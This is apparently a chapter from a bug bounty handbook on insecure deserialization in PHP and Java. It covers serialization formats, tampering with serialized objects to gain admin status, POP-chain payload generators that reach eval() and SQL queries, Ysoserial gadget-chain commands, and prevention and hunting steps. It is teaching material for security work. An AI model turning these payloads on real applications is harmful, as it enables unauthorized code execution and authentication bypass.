14

INSECURE DESERIALIZATION

Insecure deserialization vulnerabilities happen when applications deserialize program objects without proper precaution. An attacker can then manipulate serialized objects to change the program's behavior.

Insecure deserialization bugs have always fascinated me. They're hard to find and exploit, because they tend to look different depending on the programming language and libraries used to build the application. These bugs also require deep technical understanding and ingenuity to exploit. Although they can be a challenge to find, they are worth the effort. Countless write-ups describe how researchers used these bugs to achieve RCE on critical assets from companies such as Google and Facebook.

In this chapter, I'll talk about what insecure deserialization is, how insecure deserialization bugs happen in PHP and Java applications, and how you can exploit them.

Mechanisms

Serialization is the process by which some bit of data in a programming language gets converted into a format that allows it to be saved in a database or transferred over a network. *Deserialization* refers to the opposite process, whereby the program reads the serialized object from a file or the network and converts it back into an object.

This is useful because some objects in programming languages are difficult to transfer through a network or to store in a database without corruption. Serialization and deserialization allow programming languages to reconstruct identical program objects in different computing environments. Many programming languages support the serialization and deserialization of objects, including Java, PHP, Python, and Ruby.

Developers often trust user-supplied serialized data because it is difficult to read or unreadable to users. This trust assumption is what attackers can abuse. *Insecure deserialization* is a type of vulnerability that arises when an attacker can manipulate the serialized object to cause unintended consequences in the program. This can lead to authentication bypasses or even RCE. For example, if an application takes a serialized object from the user and uses the data contained in it to determine who is logged in, a malicious user might be able to tamper with that object and authenticate as someone else. If the application uses an unsafe deserialization operation, the malicious user might even be able to embed code snippets in the object and get it executed during deserialization.

The best way to understand insecure deserialization is to learn how different programming languages implement serialization and deserialization. Since these processes look different in every language, we'll explore how this vulnerability presents itself in PHP and Java. Before we continue, you'll need to install PHP and Java if you want to test out the example code in this chapter.

You can install PHP by following the instructions for your system on the PHP manual page (*https://www.php.net/manual/en/install.php*). You can then run PHP scripts by running `php YOUR_PHP_SCRIPT.php` using the command line. Alternatively, you can use an online PHP tester like ExtendsClass (*https://extendsclass.com/php.html*) to test the example scripts. Search *online PHP tester* for more options. Note that not all online PHP testers support serialization and deserialization, so make sure to choose one that does.

Most computers should already have Java installed. If you run `java -version` at the command line and see a Java version number returned, you don't have to install Java again. Otherwise, you can find the instructions to install Java at *https://java.com/en/download/help/download_options.html*. You can also use an online Java compiler to test your code; Tutorials Point has one at *https://www.tutorialspoint.com/compile_java_online.php*.

PHP

Although most deserialization bugs in the wild are caused by insecure deserialization in Java, I've also found PHP deserialization vulnerabilities to be extremely common. In my research project that studied publicly disclosed

deserialization vulnerabilities on HackerOne, I discovered that half of all disclosed deserialization vulnerabilities were caused by insecure deserialization in PHP. I also found that most deserialization vulnerabilities are resolved as high-impact or critical-impact vulnerabilities; incredibly, most can be used to cause the execution of arbitrary code on the target server.

When insecure deserialization vulnerabilities occur in PHP, we sometimes call them *PHP object injection vulnerabilities*. To understand PHP object injections, you first need to understand how PHP serializes and deserializes objects.

When an application needs to store a PHP object or transfer it over the network, it calls the PHP function `serialize()` to pack it up. When the application needs to use that data, it calls `unserialize()` to unpack and get the underlying object.

For example, this code snippet will serialize the object called `user`:

```
<?php
❶ class User{
    public $username;
    public $status;
  }
❷ $user = new User;
❸ $user->username = 'vickie';
❹ $user->status = 'not admin';
❺ echo serialize($user);
?>
```

This piece of PHP code declares a class called `User`. Each `User` object will contain a `$username` and a `$status` attribute ❶. It then creates a new `User` object called `$user` ❷. It sets the `$username` attribute of `$user` to `'vickie'` ❸ and its `$status` attribute to `'not admin'` ❹. Then, it serializes the `$user` object and prints out the string representing the serialized object ❺.

Store this code snippet as a file named *serialize_test.php* and run it using the command `php serialize_test.php`. You should get the serialized string that represents the `user` object:

```
O:4:"User":2:{s:8:"username";s:6:"vickie";s:6:"status";s:9:"not admin";}
```

Let's break down this serialized string. The basic structure of a PHP serialized string is *`data type`*`:`*`data`*. In terms of data types, `b` represents a Boolean, `i` represents an integer, `d` represents a float, `s` represents a string, `a` represents an array, and `O` represents an object instance of a particular class. Some of these types get followed by additional information about the data, as described here:

```
b:THE_BOOLEAN;
i:THE_INTEGER;
d:THE_FLOAT;
s:LENGTH_OF_STRING:"ACTUAL_STRING";
a:NUMBER_OF_ELEMENTS:{ELEMENTS}
O:LENGTH_OF_NAME:"CLASS_NAME":NUMBER_OF_PROPERTIES:{PROPERTIES}
```

Using this reference as a guide, we can see that our serialized string represents an object of the class `User`. It has two properties. The first property has the name `username` and the value `vickie`. The second property has the name `status` and the value `not admin`. The names and values are all strings.

When you're ready to operate on the object again, you can deserialize the string with `unserialize()`:

```
<?php
❶ class User{
    public $username;
    public $status;
  }
  $user = new User;
  $user->username = 'vickie';
  $user->status = 'not admin';
  $serialized_string = serialize($user);

❷ $unserialized_data = unserialize($serialized_string);
❸ var_dump($unserialized_data);
  var_dump($unserialized_data["status"]);
?>
```

The first few lines of this code snippet create a user object, serialize it, and store the serialized string into a variable called `$serialized_string` ❶. Then, it unserializes the string and stores the restored object into the variable `$unserialized_data` ❷. The `var_dump()` PHP function displays the value of a variable. The last two lines display the value of the unserialized object `$unserialized_data` and its status property ❸.

Most object-oriented programming languages have similar interfaces for serializing and deserializing program objects, but the format of their serialized objects are different. Some programming languages also allow developers to serialize into other standardized formats, such as JSON and YAML.

Controlling Variable Values

You might have already noticed something fishy here. If the serialized object isn't encrypted or signed, can anyone create a `User` object? The answer is yes! This is a common way insecure deserialization endangers applications.

One possible way of exploiting a PHP object injection vulnerability is by manipulating variables in the object. Some applications simply pass in a serialized object as a method of authentication without encrypting or signing it, thinking the serialization alone will stop users from tampering with the values. If that's the case, you can mess with the values encoded in the serialized string:

```
<?php
  class User{
    public $username;
```

```
    public $status;
  }
  $user = new User;
  $user->username = 'vickie';
❶ $user->status = 'admin';
  echo serialize($user);
?>
```

In this example of the `User` object we created earlier, you change the `status` to `admin` by modifying your PHP script ❶. Then you can intercept the outgoing request in your proxy and insert the new object in place of the old one to see if the application grants you admin privileges.

You can also change your serialized string directly:

```
O:4:"User":2:{s:8:"username";s:6:"vickie";s:6:"status";s:9:"admin";}
```

If you're tampering with the serialized string directly, remember to change the string's length marker as well, since the length of your `status` string has changed:

```
O:4:"User":2:{s:8:"username";s:6:"vickie";s:6:"status";s:5:"admin";}
```

unserialize() Under the Hood

To understand how `unserialize()` can lead to RCEs, let's take a look at how PHP creates and destroys objects.

PHP magic methods are method names in PHP that have special properties. If the serialized object's class implements any method with a magic name, these methods will have magic properties, such as being automatically run during certain points of execution, or when certain conditions are met. Two of these magic methods are `__wakeup()` and `__destruct()`.

The `__wakeup()` method is used during instantiation when the program creates an instance of a class in memory, which is what `unserialize()` does; it takes the serialized string, which specifies the class and the properties of that object, and uses that data to create a copy of the originally serialized object. It then searches for the `__wakeup()` method and executes code in it. The `__wakeup()` method is usually used to reconstruct any resources that the object may have, reestablish any database connections that were lost during serialization, and perform other reinitialization tasks. It's often useful during a PHP object injection attack because it provides a convenient entry point to the server's database or other functions in the program.

The program then operates on the object and uses it to perform other actions. When no references to the deserialized object exist, the program calls the `__destruct()` function to clean up the object. This method often contains useful code in terms of exploitation. For example, if a `__destruct()` method contains code that deletes and cleans up files associated with the object, the attacker might be able to mess with the integrity of the filesystem by controlling the input passed into those functions.

Achieving RCE

When you control a serialized object passed into `unserialize()`, you control the properties of the created object. You might also be able to control the values passed into automatically executed methods like `__wakeup()` or `__destruct()`. If you can do that, you can potentially achieve RCE.

For example, consider this vulnerable code example, taken from *https://www.owasp.org/index.php/PHP_Object_Injection*:

```
❶ class Example2
  {
    private $hook;
    function __construct(){
        // some PHP code...
    }
    function __wakeup(){
      ❷ if (isset($this->hook)) eval($this->hook);
    }
  }

  // some PHP code...

❸ $user_data = unserialize($_COOKIE['data']);
```

The code declares a class called `Example2`. It has a `$hook` attribute and two methods: `__construct()` and `__wakeup()` ❶. The `__wakeup()` function executes the string stored in `$hook` as PHP code if `$hook` is not empty ❷. The PHP `eval()` function takes in a string and runs the content of the string as PHP code. Then, the program runs `unserialize()` on a user-supplied cookie named `data` ❸.

Here, you can achieve RCE because the code passes a user-provided object into `unserialize()`, and there is an object class, `Example2`, with a magic method that automatically runs `eval()` on user-provided input when the object is instantiated.

To exploit this RCE, you'd set your `data` cookie to a serialized `Example2` object, and the `hook` property to whatever PHP code you want to execute. You can generate the serialized object by using the following code snippet:

```
class Example2
{
   private $hook = "phpinfo();";
}
print ❶ urlencode(serialize(new Example2));
```

Before we print the object, we need to URL-encode it ❶, since we'll be injecting the object via a cookie. Passing the string generated by this code into the `data` cookie will cause the server to execute the PHP code `phpinfo();`, which outputs information about PHP's configuration on the server. The

`phpinfo()` function is often used as a proof-of-concept function to run in bug reports to proof successful PHP command injection. The following is what happens in detail on the target server during this attack:

1. The serialized `Example2` object is passed into the program as the `data` cookie.
2. The program calls `unserialize()` on the `data` cookie.
3. Because the `data` cookie is a serialized `Example2` object, `unserialize()` instantiates a new `Example2` object.
4. The `unserialize()` function sees that the `Example2` class has `__wakeup()` implemented, so `__wakeup()` is called.
5. The `__wakeup()` function looks for the object's `$hook` property, and if it is not `NULL`, it runs `eval($hook)`.
6. The `$hook` property is not `NULL`, because it is set to `phpinfo();`, and so `eval("phpinfo();")` is run.
7. You've achieved RCE by executing the arbitrary PHP code you've placed in the `data` cookie.

Using Other Magic Methods

So far, we've mentioned the magic methods `__wakeup()` and `__destruct()`. There are actually four magic methods you'll find particularly useful when trying to exploit an `unserialize()` vulnerability: `__wakeup()`, `__destruct()`, `__toString()`, and `__call()`.

Unlike `__wakeup()` and `__destruct()`, which always get executed if the object is created, the `__toString()` method is invoked only when the object is treated as a string. It allows a class to decide how it will react when one of its objects is treated as a string. For example, it can decide what to display if the object is passed into an `echo()` or `print()` function. You'll see an example of using this method in a deserialization attack in "Using POP Chains" on page 238.

A program invokes the `__call()` method when an undefined method is called. For example, a call to `$object->undefined($args)` will turn into `$object->__call('undefined', $args)`. Again, the exploitability of this magic method varies wildly, depending on how it was implemented. Sometimes attackers can exploit this magic method when the application's code contains a mistake or when users are allowed to define a method name to call themselves.

You'll typically find these four magic methods the most useful for exploitation, but many other methods exist. If the ones mentioned here aren't exploitable, it might be worth checking out the class's implementation of the other magic methods to see whether you can start an exploit from there. Read more about PHP's magic methods at *https://www.php.net/manual/en/language.oop5.magic.php*.

Using POP Chains

So far, you know that when attackers control a serialized object passed into `unserialize()`, they can control the properties of the created object. This gives them the opportunity to hijack the flow of the application by choosing the values passed into magic methods like `__wakeup()`.

This exploit works . . . sometimes. But this approach has a problem: what if the declared magic methods of the class don't contain any useful code in terms of exploitation? For example, sometimes the available classes for object injections contain only a few methods, and none of them contain code injection opportunities. Then the unsafe deserialization is useless, and the exploit is a bust, right?

We have another way of achieving RCE even in this scenario: POP chains. A *property-oriented programming (POP) chain* is a type of exploit whose name comes from the fact that the attacker controls all of the deserialized object's properties. POP chains work by stringing bits of code together, called *gadgets*, to achieve the attacker's ultimate goal. These gadgets are code snippets borrowed from the codebase. POP chains use magic methods as their initial gadget. Attackers can then use these methods to call other gadgets.

If this seems abstract, consider the following example application code, taken from *https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection*:

```
class Example
{
❶ private $obj;
  function __construct()
  {
    // some PHP code...
  }
  function __wakeup()
  {
  ❷ if (isset($this->obj)) return $this->obj->evaluate();
  }
}

class CodeSnippet
{
❸ private $code;

❹ function evaluate()
  {
    eval($this->code);
  }
}

// some PHP code...

❺ $user_data = unserialize($_POST['data']);

// some PHP code...
```

In this application, the code defines two classes: `Example` and `CodeSnippet`. `Example` has a property named `obj` ❶, and when an `Example` object is deserialized, its `__wakeup()` function is called, which calls `obj`'s `evaluate()` method ❷.

The `CodeSnippet` class has a property named `code` that contains the code string to be executed ❸ and an `evaluate()` method ❹, which calls `eval()` on the `code` string.

In another part of the code, the program accepts the POST parameter `data` from the user and calls `unserialize()` on it ❺.

Since that last line contains an insecure deserialization vulnerability, an attacker can use the following code to generate a serialized object:

```
class CodeSnippet
{
  private $code = "phpinfo();";
}
class Example
{
  private $obj;
  function __construct()
  {
    $this->obj = new CodeSnippet;
  }
}
print urlencode(serialize(new Example));
```

This code snippet defines a class named `CodeSnippet` and set its `code` property to `phpinfo();`. Then it defines a class named `Example`, and sets its `obj` property to a new `CodeSnippet` instance on instantiation. Finally, it creates an `Example` instance, serializes it, and URL-encodes the serialized string. The attacker can then feed the generated string into the POST parameter `data`.

Notice that the attacker's serialized object uses class and property names found elsewhere in the application's source code. As a result, the program will do the following when it receives the crafted `data` string.

First, it will unserialize the object and create an `Example` instance. Then, since `Example` implements `__wakeup()`, the program will call `__wakeup()` and see that the `obj` property is set to a `CodeSnippet` instance. Finally, it will call the `evaluate()` method of the `obj`, which runs `eval("phpinfo();")`, since the attacker set the `code` property to `phpinfo()`. The attacker is able to execute any PHP code of their choosing.

POP chains achieve RCE by chaining and reusing code found in the application's codebase. Let's look at another example of how to use POP chains to achieve SQL injection. This example is also taken from *https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection*.

Say an application defines a class called `Example3` somewhere in the code and deserializes unsanitized user input from the POST parameter `data`:

```
class Example3
{
  protected $obj;
  function __construct()
  {
```

```
    // some PHP code...
  }
❶ function __toString()
  {
    if (isset($this->obj)) return $this->obj->getValue();
  }
}

// some PHP code...

$user_data = unserialize($_POST['data']);

// some PHP code...
```

Notice that `Example3` implements the `__toString()` magic method ❶. In this case, when an `Example3` instance is treated as a string, it will return the result of the `getValue()` method run on its `$obj` property.

Let's also say that, somewhere in the application, the code defines the class `SQL_Row_Value`. It has a method named `getValue()`, which executes a SQL query. The SQL query takes input from the `$_table` property of the `SQL_Row_Value` instance:

```
class SQL_Row_Value
{
  private $_table;
  // some PHP code...
  function getValue($id)
  {
    $sql = "SELECT * FROM {$this->_table} WHERE id = " . (int)$id;
    $result = mysql_query($sql, $DBFactory::getConnection());
    $row = mysql_fetch_assoc($result);
return $row['value'];
  }
}
```

An attacker can achieve SQL injection by controlling the `$obj` in `Example3`. The following code will create an `Example3` instance with `$obj` set to a `SQL_Row_Value` instance, and with `$_table` set to the string `"SQL Injection"`:

```
class SQL_Row_Value
{
  private $_table = "SQL Injection";
}
class Example3
{
  protected $obj;
  function __construct()
  {
    $this->obj = new SQL_Row_Value;
  }
}
print urlencode(serialize(new Example3));
```

As a result, whenever the attacker's `Example3` instance is treated as a string, its `$obj`'s `get_Value()` method will be executed. This means the `SQL_Row_Value`'s `get_Value()` method will be executed with the `$_table` string set to `"SQL Injection"`.

The attacker has achieved a limited SQL injection, since they can control the string passed into the SQL query `SELECT * FROM {$this->_table} WHERE id = " . (int)$id;`.

POP chains are similar to *return-oriented programming (ROP)* attacks, an interesting technique used in binary exploitation. You can read more about it on Wikipedia, at *https://en.wikipedia.org/wiki/Return-oriented_programming*.

Java

Now that you understand how insecure deserialization in PHP works, let's explore another programming language prone to these vulnerabilities: Java. Java applications are prone to insecure deserialization vulnerabilities because many of them handle serialized objects. To understand how to exploit deserialization vulnerabilities in Java, let's look at how serialization and deserialization work in Java.

For Java objects to be serializable, their classes must implement the `java.io.Serializable` interface. These classes also implement special methods, `writeObject()` and `readObject()`, to handle the serialization and deserialization, respectively, of objects of that class. Let's look at an example. Store this code in a file named *SerializeTest.java*:

```
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.Serializable;
import java.io.IOException;

❶ class User implements Serializable{
  ❷ public String username;
  }

  public class SerializeTest{

    public static void main(String args[]) throws Exception{

      ❸ User newUser = new User();
      ❹ newUser.username = "vickie";

        FileOutputStream fos = new FileOutputStream("object.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
      ❺ os.writeObject(newUser);
        os.close();

        FileInputStream is = new FileInputStream("object.ser");
        ObjectInputStream ois = new ObjectInputStream(is);
```

```
    ❻ User storedUser = (User)ois.readObject();
      System.out.println(storedUser.username);
      ois.close();
    }
}
```

Then, in the directory where you stored the file, run these commands. They will compile the program and run the code:

```
$ javac SerializeTest.java
$ java SerializeTest
```

You should see the string `vickie` printed as the output. Let's break down the program a bit. First, we define a class named `User` that implements `Serializable` ❶. Only classes that implement `Serializable` can be serialized and deserialized. The `User` class has a `username` attribute that is used to store the user's username ❷.

Then, we create a new `User` object ❸ and set its username to the string `"vickie"` ❹. We write the serialized version of `newUser` and store it into the file *object.ser* ❺. Finally, we read the object from the file, deserialize it, and print out the user's username ❻.

To exploit Java applications via an insecure deserialization bug, we first have to find an entry point through which to insert the malicious serialized object. In Java applications, serializable objects are often used to transport data in HTTP headers, parameters, or cookies.

Java serialized objects are not human readable like PHP serialized strings. They often contain non-printable characters as well. But they do have a couple signatures that can help you recognize them and find potential entry points for your exploits:

- Starts with `AC ED 00 05` in hex or `rO0` in base64. (You might see these within HTTP requests as cookies or parameters.)
- The `Content-Type` header of an HTTP message is set to `application/x-java-serialized-object`.

Since Java serialized objects contain a lot of special characters, it's common to encode them before transmission, so look out for differently encoded versions of these signatures as well.

After you discover a user-supplied serialized object, the first thing you can try is to manipulate program logic by tampering with the information stored within the objects. For example, if the Java object is used as a cookie for access control, you can try changing the usernames, role names, and other identity markers that are present in the object, re-serialize it, and relay it back to the application. You can also try tampering with any sort of value in the object that is a filepath, file specifier, or control flow value to see if you can alter the program's flow.

Sometimes when the code doesn't restrict which classes the application is allowed to deserialize, it can deserialize any serializable classes to which

it has access. This means attackers can create their own objects of any class. A potential attacker can achieve RCE by constructing objects of the right classes that can lead to arbitrary commands.

Achieving RCE

The path from a Java deserialization bug to RCE can be convoluted. To gain code execution, you often need to use a series of gadgets to reach the desired method for code execution. This works similarly to exploiting deserialization bugs using POP chains in PHP, so we won't rehash the whole process here. In Java applications, you'll find gadgets in the libraries loaded by the application. Using gadgets that are in the application's scope, create a chain of method invocations that eventually leads to RCE.

Finding and chaining gadgets to formulate an exploit can be time-consuming. You're also limited to the classes available to the application, which can restrict what your exploits can do. To save time, try creating exploit chains by using gadgets in popular libraries, such as the Apache Commons-Collections, the Spring Framework, Apache Groovy, and Apache Commons FileUpload. You'll find many of these published online.

Automating the Exploitation by Using Ysoserial

Ysoserial (*https://github.com/frohoff/ysoserial/*) is a tool that you can use to generate payloads that exploit Java insecure deserialization bugs, saving you tons of time by keeping you from having to develop gadget chains yourself.

Ysoserial uses a collection of gadget chains discovered in common Java libraries to formulate exploit objects. With Ysoserial, you can create malicious Java serialized objects that use gadget chains from specified libraries with a single command:

```
$ java -jar ysoserial.jar gadget_chain command_to_execute
```

For example, to create a payload that uses a gadget chain in the Commons-Collections library to open a calculator on the target host, execute this command:

```
$ java -jar ysoserial.jar CommonsCollections1 calc.exe
```

The gadget chains generated by Ysoserial all grant you the power to execute commands on the system. The program takes the command you specified and generates a serialized object that executes that command.

Sometimes the library to use for your gadget chain will seem obvious, but often it's a matter of trial and error, as you'll have to discover which vulnerable libraries your target application implements. This is where good reconnaissance will help you.

You can find more resources about exploiting Java deserialization on GitHub at *https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/*.

Prevention

Defending against deserialization vulnerabilities is difficult. The best way to protect an application against these vulnerabilities varies greatly based on the programming language, libraries, and serialization format used. No one-size-fits-all solution exists.

You should make sure not to deserialize any data tainted by user input without proper checks. If deserialization is necessary, use an allowlist to restrict deserialization to a small number of allowed classes.

You can also use simple data types, like strings and arrays, instead of objects that need to be serialized when being transported. And, to prevent the tampering of serialized cookies, you can keep track of the session state on the server instead of relying on user input for session information. Finally, you should keep an eye out for patches and make sure your dependencies are up-to-date to avoid introducing deserialization vulnerabilities via third-party code.

Some developers try to mitigate deserialization vulnerabilities by identifying the commonly vulnerable classes and removing them from the application. This effectively restricts available gadgets attackers can use in gadget chains. However, this isn't a reliable form of protection. Limiting gadgets can be a great layer of defense, but hackers are creative and can always find more gadgets in other libraries, coming up with creative ways to achieve the same results. It's important to address the root cause of this vulnerability: the fact that the application deserializes user data insecurely.

The OWASP Deserialization Cheat Sheet is an excellent resource for learning how to prevent deserialization flaws for your specific technology: *https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html*.

Hunting for Insecure Deserialization

Conducting a source code review is the most reliable way to detect deserialization vulnerabilities. From the examples in this chapter, you can see that the fastest way to find insecure deserialization vulnerabilities is by searching for deserialization functions in source code and checking if user input is being passed into it recklessly. For example, in a PHP application, look for `unserialize()`, and in a Java application, look for `readObject()`. In Python and Ruby applications, look for the functions `pickle.loads()` and `Marshall.load()`, respectively.

But many bug bounty hunters have been able to find deserialization vulnerabilities without examining any code. Here are some strategies that you can use to find insecure deserialization without access to source code.

Begin by paying close attention to the large blobs of data passed into an application. For example, the base64 string `TzoOOiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6InZpY2tpZSI7czo2OiJzdGF0dXMiO3M6OToibm9OIGFkbWluIjt9` is the base64-encoded version of the PHP serialized string `O:4:"User":2:{s:8:"username";s:6:"vickie";s:6:"status";s:9:"not admin";}`.

And this is the base64 representation of a serialized Python object of class `Person` with a name attribute of `vickie`: `gASVLgAAAAAAAACMCF9fbWFpbl9flIwGUGVyc29ulJOUKYGUfZSMBG5hbWWUjAZWaWNraWWUc2Iu`.

These large data blobs could be serialized objects that represent object injection opportunities. If the data is encoded, try to decode it. Most encoded data passed into web applications is encoded with base64. For example, as mentioned earlier, Java serialized objects often start with the hex characters `AC ED 00 05` or the characters `rO0` in base64. Pay attention to the `Content-Type` header of an HTTP request or response as well. For example, a `Content-Type` set to `application/x-java-serialized-object` indicates that the application is passing information via Java serialized objects.

Alternatively, you can start by seeking out features that are prone to deserialization flaws. Look for features that might have to deserialize objects supplied by the user, such as database inputs, authentication tokens, and HTML form parameters.

Once you've found a user-supplied serialized object, you need to determine the type of serialized object it is. Is it a PHP object, a Python object, a Ruby object, or a Java object? Read each programming language's documentation to familiarize yourself with the structure of its serialized objects.

Finally, try tampering with the object by using one of the techniques I've mentioned. If the application uses the serialized object as an authentication mechanism, try to tamper with the fields to see if you can log in as someone else. You can also try to achieve RCE or SQL injection via a gadget chain.

Escalating the Attack

This chapter has already described how insecure deserialization bugs often result in remote code execution, granting the attacker a wide range of capabilities with which to impact the application. For that reason, deserialization bugs are valuable and impactful vulnerabilities. Even when RCE isn't possible, you might be able to achieve an authentication bypass or otherwise meddle with the logic flow of the application.

However, the impact of insecure deserialization can be limited when the vulnerability relies on an obscure point of entry, or requires a certain level of application privilege to exploit, or if the vulnerable function isn't available to unauthenticated users.

When escalating deserialization flaws, take the scope and rules of the bounty program into account. Deserialization vulnerabilities can be dangerous, so make sure you don't cause damage to the target application when trying to manipulate program logic or execute arbitrary code. Read Chapter 18 for tips on how to create safe PoCs for an RCE.

Finding Your First Insecure Deserialization!

Now it's time to dive in and find your first insecure deserialization vulnerability. Follow the steps we covered to find one:

1. If you can get access to an application's source code, search for deserialization functions in source code that accept user input.
2. If you cannot get access to source code, look for large blobs of data passed into an application. These could indicate serialized objects that are encoded.
3. Alternatively, look for features that might have to deserialize objects supplied by the user, such as database inputs, authentication tokens, and HTML form parameters.
4. If the serialized object contains information about the identity of the user, try tampering with the serialized object found and see if you can achieve authentication bypass.
5. See if you can escalate the flaw into a SQL injection or remote code execution. Be extra careful not to cause damage to your target application or server.
6. Draft your first insecure deserialization report!